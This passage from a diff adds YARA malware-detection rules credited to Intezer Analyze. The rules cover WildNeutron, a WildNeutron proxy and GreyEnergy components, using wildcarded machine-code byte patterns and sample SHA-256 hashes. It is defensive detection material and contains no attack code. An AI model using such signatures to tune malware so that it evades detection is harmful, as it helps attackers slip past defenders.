+		$block_2 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9? }
+		$block_3 = { 4C ?? ?? 49 ?? ?? ?? 49 ?? ?? ?? 4D ?? ?? ?? 4D ?? ?? ?? 5? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_5 = { 48 ?? ?? ?? ?? 5? 48 ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 44 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_6 = { 48 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 33 ?? 4D ?? ?? 45 ?? ?? ?? 45 ?? ?? 0F 8E }
+		$block_7 = { 48 ?? ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 4C ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? 49 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 4C ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? 49 ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "6f00e11ea02918c6c8d5435326ccf9f12a4cae97d8fdcc7e4a5bf1fbfd97ca0a" or
+		hash.sha256(0, filesize) == "9e67848919e4adc9d74aee76858981465c60cc830638fe7cee97cecf4e9bebaf" or
+		10 of them
+}
+
+rule WildNeutronProxy {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0B ?? 23 ?? 23 ?? 8B ?? C1 ?? ?? 81 E? ?? ?? ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? D1 ?? BE ?? ?? ?? ?? 8B ?? 23 ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? 23 ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? D1 ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? D1 ?? 8B ?? 83 ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? 83 ?? ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 03 ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 83 ?? ?? 0B ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? D1 ?? C1 ?? ?? 23 ?? 0B ?? C1 ?? ?? 0B ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? ?? 89 ?? 8B ?? 83 ?? ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 03 ?? 8B ?? 83 ?? ?? 0B ?? 03 ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 03 ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 83 ?? ?? 0B ?? 03 ?? 8B ?? 83 ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 03 ?? 8B ?? 83 ?? ?? 0B ?? 03 ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? C1 ?? ?? 23 ?? 83 ?? ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? D1 ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? D1 ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? 03 ?? D1 ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? 23 ?? 0B ?? C1 ?? ?? 0B ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? ?? 83 ?? ?? ?? FF 4? ?? 83 ?? ?? ?? 89 ?? 0F 8C }
+		$block_1 = { 5? 8B ?? 5? 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? 5? C1 ?? ?? 0B ?? 0F B6 ?? ?? 5? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 5? C1 ?? ?? 0B ?? 8B ?? C1 ?? ?? 33 ?? 81 E? ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? 33 ?? 81 E? ?? ?? ?? ?? 33 ?? 33 ?? 8B ?? C1 ?? ?? 6A ?? 5? 23 ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? C1 ?? ?? 8B ?? C1 ?? ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 0B ?? 8B ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 0B ?? 8B ?? C1 ?? ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 0B ?? 8B ?? C1 ?? ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 0B ?? 8B ?? C1 ?? ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 03 ?? 23 ?? 0B ?? ?? ?? ?? ?? ?? C1 ?? ?? 03 ?? C1 ?? ?? 23 ?? 0B ?? ?? ?? ?? ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 0B ?? C1 ?? ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 25 ?? ?? ?? ?? 8B ?? C1 ?? ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 0B ?? 8B ?? C1 ?? ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? C1 ?? ?? 0B ?? 8B ?? D1 ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 0B ?? 8B ?? C1 ?? ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 0B ?? 8B ?? C1 ?? ?? 23 ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? C1 ?? ?? 23 ?? 0B ?? ?? ?? ?? ?? ?? C1 ?? ?? 03 ?? 23 ?? 0B ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? C1 ?? ?? 23 ?? 0B ?? 83 ?? ?? ?? BA ?? ?? ?? ?? EB }
+		$block_2 = { 8B ?? 33 ?? 8B ?? C1 ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? 31 ?? ?? C1 ?? ?? 33 ?? ?? 83 ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? ?? 31 ?? ?? 33 ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? C1 ?? ?? 33 ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 83 ?? ?? 33 ?? ?? ?? ?? ?? ?? 33 ?? FF 4? ?? 0F 85 }
+		$block_3 = { 8D ?? ?? ?? ?? ?? 8D ?? ?? A5 A5 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 5? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? F3 ?? 8D }
+		$block_4 = { 5? 8B ?? 5? 5? 0F B6 ?? ?? 5? 0F B6 ?? ?? 5? 8D ?? ?? 0F B6 ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? C1 ?? ?? 0B ?? 8B ?? C1 ?? ?? 33 ?? 25 ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? C1 ?? ?? 33 ?? 25 ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? C1 ?? ?? 33 ?? 25 ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? C1 ?? ?? 33 ?? 25 ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? D1 ?? 8B ?? 33 ?? 81 E? ?? ?? ?? ?? 33 ?? 33 ?? D1 ?? 89 ?? ?? C7 }
+		$block_5 = { D1 ?? 8B ?? 33 ?? ?? 5? 81 E? ?? ?? ?? ?? 33 ?? 33 ?? ?? 5? D1 ?? 8B ?? C1 ?? ?? 33 ?? 81 E? ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? C1 ?? ?? 33 ?? 81 E? ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? C1 ?? ?? 33 ?? 81 E? ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? C1 ?? ?? 33 ?? 81 E? ?? ?? ?? ?? 33 ?? C1 ?? ?? 33 ?? 8B ?? C1 ?? ?? 88 ?? 8B ?? C1 ?? ?? 88 ?? ?? 88 ?? ?? 8B ?? 8B ?? C1 ?? ?? 88 ?? ?? 8B ?? C1 ?? ?? 88 ?? ?? 8B ?? C1 ?? ?? C1 ?? ?? 88 ?? ?? 88 ?? ?? 88 ?? ?? 33 ?? C9 C3 }
+		$block_6 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 33 ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? AB AB AB 6A ?? AB 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 6A ?? 5? 5? FF B? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+		$block_7 = { FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 6A ?? 89 ?? ?? ?? ?? ?? 5? 66 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? FF B? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_8 = { 2B ?? 89 ?? ?? 88 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 0F B6 ?? 5? 8D ?? ?? ?? ?? ?? 5? 8B ?? 8D ?? ?? ?? ?? ?? ?? C1 ?? ?? 5? 88 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8B ?? 88 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 5? }
+		$block_9 = { FF B? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? FF B? ?? ?? ?? ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? ?? ?? AB AB AB AB 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "1c81bc28ad91baed60ca5e7fee68fbcb976cf8a483112fa81aab71a18450a6b0" or
+		10 of them
+}
+
+rule GreyEnergyMini {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { E8 ?? ?? ?? ?? FF 4? ?? B7 ?? E0 ?? 8E ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 89 ?? F7 ?? ?? 5? AB F3 }
+		$block_1 = { 5? 8B ?? 8B ?? ?? 8B ?? ?? 5? 8D ?? ?? 8B ?? ?? 0F BE ?? 5? 8B ?? 5? 2B ?? 5? 89 ?? ?? 5? EB }
+		$block_2 = { 0F B7 ?? ?? B9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? ?? ?? E9 }
+		$block_3 = { 4? E8 ?? ?? ?? ?? FF 6? ?? F4 EC C0 ?? ?? 89 ?? F7 ?? BE ?? ?? ?? ?? F7 ?? 8B ?? ?? 8B ?? E9 }
+		$block_4 = { A2 ?? ?? ?? ?? 6D A6 9C 85 ?? ?? ?? ?? ?? B6 ?? 35 ?? ?? ?? ?? 88 ?? F7 ?? DB ?? 12 ?? ?? F9 }
+		$block_5 = { 8D ?? ?? 5? 6A ?? FF 7? ?? 5? FF 5? ?? 0F B7 ?? ?? 8D ?? ?? ?? 33 ?? 33 ?? 66 ?? ?? ?? 73 }
+		$block_6 = { 29 ?? ?? ?? ?? ?? 4? 66 ?? ?? ?? ?? ?? 9D 09 ?? ?? ?? ?? ?? 87 ?? ?? ?? ?? ?? 1F 5? FC EB }
+		$block_7 = { 5? AF 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? A0 ?? ?? ?? ?? D7 7F }
+		$block_8 = { 03 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? FF 4? ?? 66 ?? ?? ?? 66 ?? ?? ?? 0F 83 }
+		$block_9 = { AD 87 ?? ?? 24 ?? E0 ?? B4 ?? 4? FE ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 5? 2E ?? ?? 2D }
+		$block_10 = { F5 20 ?? 00 ?? ?? ?? ?? ?? 28 ?? 67 ?? ?? 00 ?? ?? ?? ?? ?? 13 ?? 6C 60 77 }
+		$block_11 = { FB 4? B0 ?? 89 ?? F7 ?? BF ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_12 = { 9A ?? ?? ?? ?? ?? ?? 85 ?? CE A2 ?? ?? ?? ?? 62 ?? ?? ?? ?? ?? ?? 4? 7A }
+		$block_13 = { AB BD ?? ?? ?? ?? 00 ?? ?? E8 ?? ?? ?? ?? 4? 08 ?? ?? ?? ?? ?? 0F 85 }
+		$block_14 = { 6A ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 39 ?? 0F 84 }
+		$block_15 = { 8A ?? ?? 88 ?? ?? ?? ?? ?? 8A ?? ?? 88 ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_16 = { 8B ?? ?? 8B ?? ?? 03 ?? 8B ?? ?? ?? ?? ?? 33 ?? 3B ?? 0F 84 }
+		$block_17 = { 4? 87 ?? ?? ?? ?? ?? B5 ?? 4? F9 E5 ?? 1A ?? ?? E6 ?? 9E E3 }
+		$block_18 = { 8B ?? ?? 0F B7 ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 01 ?? ?? 8B }
+		$block_19 = { 11 ?? ?? ?? ?? ?? 00 ?? ?? ?? B3 ?? ED A2 ?? ?? ?? ?? AF 4? }
+		$block_20 = { 6A ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 39 ?? 0F 84 }
+		$block_21 = { 0F B7 ?? 89 ?? ?? FF 7? ?? FF 7? ?? FF 5? ?? 89 ?? ?? EB }
+		$block_22 = { C7 ?? ?? ?? ?? ?? ?? 88 ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_23 = { 8B ?? ?? 8B ?? ?? 03 ?? 8B ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_24 = { 9D 9? 4? 37 9B 0A ?? ?? DD ?? ?? 4? 32 ?? ?? 31 ?? 3E }
+		$block_25 = { 0F B7 ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 01 ?? ?? 8B }
+		$block_26 = { 27 E7 ?? D0 ?? ?? ?? ?? ?? 86 ?? ?? ?? ?? ?? ?? B0 }
+		$block_27 = { C0 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 5? 4? A7 7E }
+		$block_28 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_29 = { C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$block_30 = { 8A ?? ?? ?? ?? ?? 2B ?? 88 ?? ?? 39 ?? ?? 0F 86 }
+		$block_31 = { C1 ?? ?? F8 A7 A2 ?? ?? ?? ?? B9 ?? ?? ?? ?? E3 }
+		$block_32 = { F1 6D 2F 4? D2 ?? ?? ?? ?? ?? 24 ?? AE 10 ?? 71 }
+		$block_33 = { 14 ?? 4? 9B C5 ?? ?? 0C ?? 9? E8 ?? ?? ?? ?? 76 }
+
+	condition:
+		hash.sha256(0, filesize) == "b60c0c04badc8c5defab653c581d57505b3455817b57ee70af74311fa0b65e22" or
+		hash.sha256(0, filesize) == "d4e97a18be820a1a3af639c9bca21c5f85a3f49a37275b37fd012faeffcb7c4a" or
+		hash.sha256(0, filesize) == "7e154d5be14560b8b2c16969effdb8417559758711b05615513d1c84e56be076" or
+		hash.sha256(0, filesize) == "dcade5e14c26c19e935b13d5170d74f99e75d3e4dba443db1dab8bea78745584" or
+		hash.sha256(0, filesize) == "c2d06ad0211c24f36978fe34d25b0018ffc0f22b0c74fd1f915c608bf2cfad15" or
+		12 of them
+}
+
+rule GreyEnergyDropperUnpacked {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 8C }
+		$block_1 = { 8B ?? ?? 8B ?? ?? 0F B7 ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 8B ?? ?? 8B ?? ?? 66 ?? ?? ?? EB }
+		$block_2 = { C7 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_3 = { 8B ?? ?? 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 33 ?? BE ?? ?? ?? ?? F7 ?? 0F BE ?? ?? ?? 3B ?? 74 }
+		$block_4 = { 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_5 = { 8B ?? ?? 03 ?? ?? 0F BE ?? 8B ?? ?? 33 ?? BE ?? ?? ?? ?? F7 ?? 0F BE ?? ?? ?? 3B ?? 74 }
+		$block_6 = { 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_7 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 5? 8B ?? 83 ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_9 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_10 = { 33 ?? 83 ?? ?? ?? 0F 9D ?? 8B ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_11 = { 8B ?? ?? 5? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_12 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 6A ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_14 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? 81 F? ?? ?? ?? ?? 75 }
+		$block_15 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "d13191de5cca61574e041d4ef2ee83ba618e4bc324fc93ff850c6922370fa651" or
+		hash.sha256(0, filesize) == "9e64b19434beee9fad059926a968e64bf31417914f638cd220894a3b6a4780f7" or
+		12 of them
+}
+
+rule GreyEnergyMiniUnpacked {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 5? 8D ?? ?? 5? 5? 5? 5? 5? 5? 5? 5? 5? FF 7? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_1 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? FF 3? 89 ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 8B ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 33 ?? 5? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_3 = { FF 7? ?? FF D? 8B ?? ?? 03 ?? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 5? 5? FF 7? ?? FF 7? ?? FF D? 85 ?? 0F 84 }
+		$block_5 = { 8D ?? ?? 5? 8D ?? ?? 5? 5? 5? FF 7? ?? FF 7? ?? FF D? 8B ?? ?? ?? ?? ?? 85 ?? 0F 84 }
